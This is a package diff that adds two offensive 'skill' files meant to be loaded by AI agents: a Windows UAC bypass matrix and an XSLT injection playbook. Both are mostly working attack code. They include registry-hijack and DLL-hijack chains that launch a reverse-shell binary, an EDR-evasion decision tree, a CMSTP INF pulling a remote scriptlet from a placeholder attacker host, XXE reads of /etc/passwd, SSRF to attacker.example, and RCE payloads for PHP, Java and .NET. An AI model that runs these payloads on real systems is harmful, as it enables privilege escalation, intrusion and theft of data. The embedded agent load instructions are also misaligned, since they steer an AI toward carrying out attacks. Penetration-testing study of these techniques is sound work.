ineedcodes 1.6.1 → 1.7.0

package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md

@@ -0,0 +1,225 @@
+# UAC Bypass Techniques Matrix
+
+> **AI LOAD INSTRUCTION**: Load this for UAC bypass technique selection, auto-elevate binary abuse, and mock trusted directory tricks. Assumes the main [SKILL.md](./SKILL.md) is already loaded for general Windows privesc flow. UAC bypass takes you from medium integrity → high integrity (local admin).
+
+---
+
+## 1. UAC FUNDAMENTALS
+
+### Integrity Levels
+
+| Level | Token | Access |
+|---|---|---|
+| **Low** | Restricted | Sandboxed (browser, etc.) |
+| **Medium** | Standard user token | Default for admin users with UAC |
+| **High** | Elevated admin token | Full local admin (post-UAC-consent) |
+| **System** | NT AUTHORITY\SYSTEM | Highest OS-level access |
+
+### UAC Settings (ConsentPromptBehaviorAdmin)
+
+```cmd
+reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
+```
+
+| Value | Meaning | Bypass Possible? |
+|---|---|---|
+| 0 | Elevate without prompting | No bypass needed |
+| 1 | Prompt for credentials on secure desktop | Difficult |
+| 2 | Prompt for consent on secure desktop | Difficult |
+| 3 | Prompt for credentials | Possible |
+| 4 | Prompt for consent | Possible |
+| **5** | **Prompt for consent for non-Windows binaries (default)** | **Yes — auto-elevate abuse** |
+
+**Key insight**: At the default setting (5), Microsoft-signed binaries with `autoElevate=true` in their manifest run elevated without prompting.
+
+---
+
+## 2. UAC BYPASS TECHNIQUE MATRIX
+
+| # | Technique | Binary Abused | Method | Win10 | Win11 | Detection Risk |
+|---|---|---|---|---|---|---|
+| 1 | **fodhelper** | `fodhelper.exe` | Registry key hijack | Yes | Patched (recent) | Medium |
+| 2 | **eventvwr** | `eventvwr.exe` | Registry `mscfile` shell\open | Yes | Partial | Medium |
+| 3 | **computerdefaults** | `computerdefaults.exe` | Registry `ms-settings` delegation | Yes | Partial | Medium |
+| 4 | **sdclt** | `sdclt.exe` | App paths + isolation aware | Yes | Partial | Low |
+| 5 | **DiskCleanup** | `cleanmgr.exe` / schtask | Environment variable (TEMP path) | Yes | Yes | Low |
+| 6 | **Mock Trusted Dir** | Various auto-elevate EXEs | Fake `C:\Windows \System32\` path | Yes | Yes | Low |
+| 7 | **CMSTP** | `cmstp.exe` | INF file with command execution | Yes | Yes | Medium |
+| 8 | **WSReset** | `wsreset.exe` | Registry `ms-settings` delegation | Yes | Yes | Low |
+| 9 | **SilentCleanup** | Scheduled Task | Environment variable DLL hijack | Yes | Partial | Low |
+
+---
+
+## 3. DETAILED BYPASS TECHNIQUES
+
+### 3.1 fodhelper.exe Bypass
+
+`fodhelper.exe` auto-elevates and checks `HKCU:\Software\Classes\ms-settings\Shell\Open\command` before launching.
+
+```powershell
+# Set registry key to hijack execution
+New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
+New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd.exe /c start C:\temp\rev.exe" -Force
+New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
+
+# Trigger
+Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
+
+# Cleanup
+Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -Force
+```
+
+### 3.2 eventvwr.exe Bypass
+
+`eventvwr.exe` queries `HKCU:\Software\Classes\mscfile\shell\open\command` first.
+
+```powershell
+New-Item -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Force
+Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Name "(default)" -Value "cmd.exe /c C:\temp\rev.exe"
+
+Start-Process "C:\Windows\System32\eventvwr.exe"
+
+Remove-Item -Path "HKCU:\Software\Classes\mscfile" -Recurse -Force
+```
+
+### 3.3 computerdefaults.exe Bypass
+
+```powershell
+New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
+Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd.exe /c C:\temp\rev.exe"
+New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
+
+Start-Process "C:\Windows\System32\computerdefaults.exe"
+
+Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -Force
+```
+
+### 3.4 sdclt.exe Bypass
+
+```powershell
+# sdclt.exe checks App Paths in HKCU
+New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Force
+Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Name "(default)" -Value "cmd.exe"
+Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Name "Path" -Value "/c C:\temp\rev.exe"
+
+Start-Process "C:\Windows\System32\sdclt.exe"
+
+Remove-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Recurse -Force
+```
+
+### 3.5 DiskCleanup / SilentCleanup Bypass
+
+The SilentCleanup scheduled task runs `cleanmgr.exe` with highest privileges and inherits the user's environment.
+
+```cmd
+# Set %TEMP% or %WINDIR% to controlled path
+set __COMPAT_LAYER=RunAsInvoker
+reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\temp\rev.exe &" /f
+
+# Trigger the scheduled task
+schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
+
+# Cleanup
+reg delete "HKCU\Environment" /v "windir" /f
+```
+
+### 3.6 Mock Trusted Directory Bypass
+
+Windows path-based trust check has a flaw: trailing spaces in directory names.
+
+```cmd
+# Create mock directory (note trailing space in "Windows ")
+mkdir "C:\Windows \System32"
+
+# Copy auto-elevate binary to fake path
+copy C:\Windows\System32\fodhelper.exe "C:\Windows \System32\fodhelper.exe"
+
+# Place malicious DLL in mock directory (DLL hijacking during auto-elevate)
+# The binary loads from its directory first, bypassing real System32
+copy C:\temp\propsys.dll "C:\Windows \System32\propsys.dll"
+
+# Execute — auto-elevates (path passes trust check) and loads our DLL
+"C:\Windows \System32\fodhelper.exe"
+```
+
+### 3.7 CMSTP.exe Bypass
+
+```ini
+; Save as evil.inf
+[version]
+Signature=$chicago$
+AdvancedINF=2.5
+
+[DefaultInstall_SingleUser]
+UnRegisterOCXs=UnRegisterOCXSection
+
+[UnRegisterOCXSection]
+%11%\scrobj.dll,NI,http://ATTACKER/sct_payload.sct
+
+[Strings]
+AppAct = "SOFTWARE\Microsoft\Connection Manager"
+ServiceName="Updater"
+ShortSvcName="Updater"
+```
+
+```cmd
+# Execute (auto-elevates via COM interface)
+cmstp.exe /s /ns C:\temp\evil.inf
+```
+
+### 3.8 WSReset.exe Bypass
+
+```powershell
+New-Item -Path "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635ber5p5gdqk2gm93\Shell\open\command" -Force
+Set-ItemProperty -Path "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635ber5p5gdqk2gm93\Shell\open\command" -Name "(default)" -Value "cmd.exe /c C:\temp\rev.exe"
+New-ItemProperty -Path "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635ber5p5gdqk2gm93\Shell\open\command" -Name "DelegateExecute" -Value "" -Force
+
+Start-Process "C:\Windows\System32\wsreset.exe"
+```
+
+---
+
+## 4. UACME TOOL REFERENCE
+
+[UACME](https://github.com/hfiref0x/UACME) implements 70+ bypass methods.
+
+```cmd
+# Akagi64.exe <method_number> <command>
+Akagi64.exe 23 cmd.exe        & REM Method 23: sdclt bypass
+Akagi64.exe 33 cmd.exe        & REM Method 33: fodhelper bypass
+Akagi64.exe 34 cmd.exe        & REM Method 34: computerdefaults
+Akagi64.exe 61 cmd.exe        & REM Method 61: wsreset bypass
+```
+
+---
+
+## 5. UAC BYPASS DECISION TREE
+
+```
+Need high integrity from medium integrity?
+│
+├── Check UAC level
+│   ├── ConsentPromptBehaviorAdmin = 0 → no bypass needed
+│   └── Default (5) → auto-elevate abuse possible
+│
+├── Windows 10 (any build)?
+│   ├── Try fodhelper (simplest, most reliable)
+│   ├── If patched → wsreset or computerdefaults
+│   ├── If those fail → mock trusted directory + DLL hijack
+│   └── DiskCleanup / SilentCleanup (environment variable)
+│
+├── Windows 11?
+│   ├── wsreset (still works on many builds)
+│   ├── Mock trusted directory (reliable)
+│   ├── CMSTP (if .inf execution allowed)
+│   └── DiskCleanup / SilentCleanup
+│
+├── Defender/EDR blocking registry writes?
+│   ├── Mock trusted directory (no registry needed)
+│   └── CMSTP with remote .sct payload
+│
+└── All auto-elevate bypasses fail?
+    ├── Check for vulnerable third-party services (runs elevated)
+    ├── Exploit SeImpersonate if available (skip UAC entirely)
+    └── Look for scheduled tasks running as admin
+```

package/skills/xslt-injection/SKILL.md

@@ -0,0 +1,281 @@
+---
+name: xslt-injection
+description: >-
+  XSLT injection testing: processor fingerprinting, XXE and document() SSRF, EXSLT write primitives, PHP/Java/.NET extension RCE surfaces. Use when user-controlled XSLT/stylesheet input or transform endpoints are in scope.gated: true
+---
+
+# SKILL: XSLT Injection — Testing Playbook
+
+> **AI LOAD INSTRUCTION**: XSLT injection occurs when **attacker-influenced XSLT** is compiled/executed server-side. Map the **processor family** first (Java/.NET/PHP/libxslt). Then chain **document()**, **external entities**, **EXSLT**, or **embedded script/extension functions** per platform. **Authorized testing only**; many payloads are destructive. Routing note: if input is generic XML parsing and may not flow through XSLT, cross-load `xxe-xml-external-entity`; if you care about outbound `document(http:...)` requests, cross-load `ssrf-server-side-request-forgery`.
+
+---
+
+## 0. QUICK START
+
+1. **Find sinks**: parameters named `xslt`, `stylesheet`, `transform`, `template`, SOAP stylesheets, report generators, XML→HTML converters.
+2. **Probe reflection**: inject unique namespace or `xsl:value-of select="'marker'"` — if output changes, execution likely.
+3. **Fingerprint** processor (§1).
+4. **Escalate** by family: **document()** / **XXE** (§2–3), **EXSLT write** (§4), **PHP** (§5), **Java** (§6), **.NET** (§7).
+
+**Quick probe** (harmless marker):
+
+```xml
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+  <xsl:template match="/">
+    <xsl:value-of select="'XSLT_PROBE_OK'"/>
+  </xsl:template>
+</xsl:stylesheet>
+```
+
+---
+
+## 1. VENDOR DETECTION
+
+Use standard **system-property** reads inside expressions:
+
+```xml
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+  <xsl:output method="text"/>
+  <xsl:template match="/">
+    <xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
+    <xsl:text>&#10;version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
+    <xsl:text>&#10;vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
+  </xsl:template>
+</xsl:stylesheet>
+```
+
+**Typical fingerprints** (examples, not exhaustive):
+
+| Signal | Possible engine |
+|--------|------------------|
+| `Apache Software Foundation` / Xalan markers | Xalan (Java) |
+| `Saxonica` / Saxon URI hints | Saxon |
+| `libxslt` / GNOME stack | libxslt (C, often via PHP, nginx modules, etc.) |
+| Microsoft URLs / MSXML strings | MSXML / .NET XSLT stack |
+
+Use results to select §5–§7 paths.
+
+---
+
+## 2. EXTERNAL ENTITY (XXE VIA XSLT)
+
+XSLT 1.0 allows **DTD-based entities** in the stylesheet or source when the parser permits DTDs:
+
+```xml
+<!DOCTYPE xsl:stylesheet [
+  <!ENTITY ext_file SYSTEM "file:///etc/passwd">
+]>
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+  <xsl:output method="text"/>
+  <xsl:template match="/">
+    <xsl:value-of select="'ENTITY_START'"/>
+    <xsl:value-of select="&ext_file;"/>
+    <xsl:value-of select="'ENTITY_END'"/>
+  </xsl:template>
+</xsl:stylesheet>
+```
+
+**Note**: Hardened parsers disable external DTDs — failure here does not disprove other XSLT vectors (see §3).
+
+---
+
+## 3. FILE READ VIA `document()`
+
+`document()` loads another XML document into a node-set; local files often parse as XML (noisy) but **errors and partial reads** may still leak.
+
+**Unix example**:
+
+```xml
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+  <xsl:output method="text"/>
+  <xsl:template match="/">
+    <xsl:copy-of select="document('/etc/passwd')"/>
+  </xsl:template>
+</xsl:stylesheet>
+```
+
+**Windows example**:
+
+```xml
+<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>
+```
+
+**SSRF / out-of-band**:
+
+```xml
+<xsl:copy-of select="document('http://attacker.example/ssrf')"/>
+```
+
+Chain with **error-based** or **timing** observations if inline data does not return to the client.
+
+---
+
+## 4. FILE WRITE VIA EXSLT (`exslt:document`)
+
+When **EXSLT common** extension is enabled:
+
+```xml
+<xsl:stylesheet version="1.0"
+  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+  xmlns:exploit="http://exslt.org/common"
+  extension-element-prefixes="exploit">
+  <xsl:template match="/">
+    <exploit:document href="/tmp/evil.txt" method="text">
+      <xsl:text>PROOF_CONTENT</xsl:text>
+    </exploit:document>
+  </xsl:template>
+</xsl:stylesheet>
+```
+
+**Impact**: arbitrary file write where path permissions allow — often **RCE** via webroot, cron paths, or inclusion points.
+
+---
+
+## 5. RCE VIA PHP (`php:function`)
+
+Requires PHP XSLT with **`registerPHPFunctions()`**-style exposure (application misconfiguration). Namespace:
+
+```xml
+<xsl:stylesheet version="1.0"
+    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+    xmlns:php="http://php.net/xsl">
+  <xsl:output method="text"/>
+  <xsl:template match="/">
+    <xsl:value-of select="php:function('readfile','index.php')"/>
+  </xsl:template>
+</xsl:stylesheet>
+```
+
+**Directory listing**:
+
+```xml
+<xsl:value-of select="php:function('scandir','.')"/>
+```
+
+**Dangerous patterns** (historical abuses — verify only in lab):
+
+- `php:function('assert', string($payload))` — environment-dependent, often deprecated/removed; chained with `include`/`require` in old apps.
+- `php:function('file_put_contents','/var/www/shell.php','<?php ...')` — **webshell write** when callable is whitelisted recklessly.
+- `preg_replace` with **`/e`** modifier (legacy PHP) — the replacement string is **evaluated as PHP**; metasploit-style chains often wrapped **base64_decode** of a blob to smuggle a **meterpreter** (or other) staged payload. Removed in PHP 7+; only relevant for ancient runtimes.
+
+**Legacy PHP equivalent** (illustrates the `/e` + base64 pattern — lab only):
+
+```php
+preg_replace('/.*/e', 'eval(base64_decode("BASE64_PHP_HERE"));', '', 1);
+```
+
+Surface from XSLT only if `php:function` exposes `preg_replace` to user stylesheets (rare + critical misconfiguration).
+
+**Tester note**: modern PHP hardening often **blocks** these; absence of RCE does not remove **document()** / **XXE**.
+
+---
+
+## 6. RCE VIA JAVA (SAXON / XALAN EXTENSIONS)
+
+Java engines may expose **extension functions** mapping to static methods. Examples appear in historical advisories; exact syntax depends on **version and extension binding**.
+
+**Illustrative pattern** (conceptual — adjust to permitted extension namespace and API):
+
+```xml
+<xsl:stylesheet version="1.0"
+    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
+  <xsl:template match="/">
+    <xsl:variable name="rtobject" select="rt:getRuntime()"/>
+    <xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>
+  </xsl:template>
+</xsl:stylesheet>
+```
+
+**Saxon-style static Java integration** (highly configuration-dependent):
+
+```text
+Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1')
+```
+
+Replace `192.0.2.1` with your lab listener / documentation IP (RFC 5737 TEST-NET).
+
+**Operational guidance**: if extensions are disabled (common secure default), pivot to **document()**, SSRF, or **deserialization** elsewhere — not every XSLT endpoint runs with extensions on.
+
+---
+
+## 7. RCE VIA .NET (`msxsl:script`)
+
+When Microsoft XSLT **script blocks** are allowed:
+
+```xml
+<xsl:stylesheet version="1.0"
+    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+    xmlns:msxsl="urn:schemas-microsoft-com:xslt"
+    extension-element-prefixes="msxsl">
+  <msxsl:script language="C#" implements-prefix="user">
+    <![CDATA[
+    public string xexec() {
+      System.Diagnostics.Process.Start("cmd.exe", "/c whoami");
+      return "ok";
+    }
+    ]]>
+  </msxsl:script>
+  <xsl:template match="/">
+    <xsl:value-of select="user:xexec()"/>
+  </xsl:template>
+</xsl:stylesheet>
+```
+
+**Default secure configs** often disable scripts — treat this as **when enabled** behavior.
+
+---
+
+## 8. DECISION TREE
+
+```text
+                    User influences XSLT or XML transform?
+                                    |
+                                   NO --> stop (out of scope)
+                                    |
+                                   YES
+                                    |
+                    +---------------+---------------+
+                    |                               |
+             output reflects                       no reflection
+             injected logic?                    try blind channels
+                    |                               |
+                    v                               v
+            system-property()                 errors, OOB, timing
+            fingerprint vendor                      |
+                    |                               |
+        +-----------+-----------+                   |
+        |           |           |                   |
+      libxslt     Java        .NET              document()
+        |           |           |                   |
+    document()   Saxon/Xalan  msxsl:script?      SSRF/file
+    EXSLT write  extensions?      |                   |
+        |           |           C# Process         EXSLT?
+        v           v           v                   v
+    file R/W     rt/exec      cmd.exe /c         map evidence
+```
+
+---
+
+## Payloads All The Things (PAT) Note
+
+The **PayloadsAllTheThings** project documents many injection classes; for **XSLT**, maintainer notes indicate **no dedicated maintained tool** section comparable to SQLi/XSS toolchains — exploitation is **processor- and configuration-specific**, driven by proxy/manual payloads and custom scripts. Plan time for **local lab reproduction** with the same engine/version as the target when possible.
+
+---
+
+## Tooling (practical)
+
+| Category | Examples |
+|----------|----------|
+| Proxy / manual | Burp Suite, OWASP ZAP — replay stylesheet payloads, observe responses and errors |
+| XML/XSLT lab | Match **exact** processor (PHP libxslt, Java Saxon version, .NET framework) in a VM |
+| Out-of-band | Collaborator / private callback server for `document('http://…')` |
+
+No single universal scanner replaces **version-specific** behavior validation.
+
+---
+
+## Related
+
+- **xxe-xml-external-entity** — DTD/entity hardening, generic XML parsers (`../xxe-xml-external-entity/SKILL.md`).
+- **ssrf-server-side-request-forgery** — when `document(http:…)` or entity URLs cause server fetches (`../ssrf-server-side-request-forgery/SKILL.md`).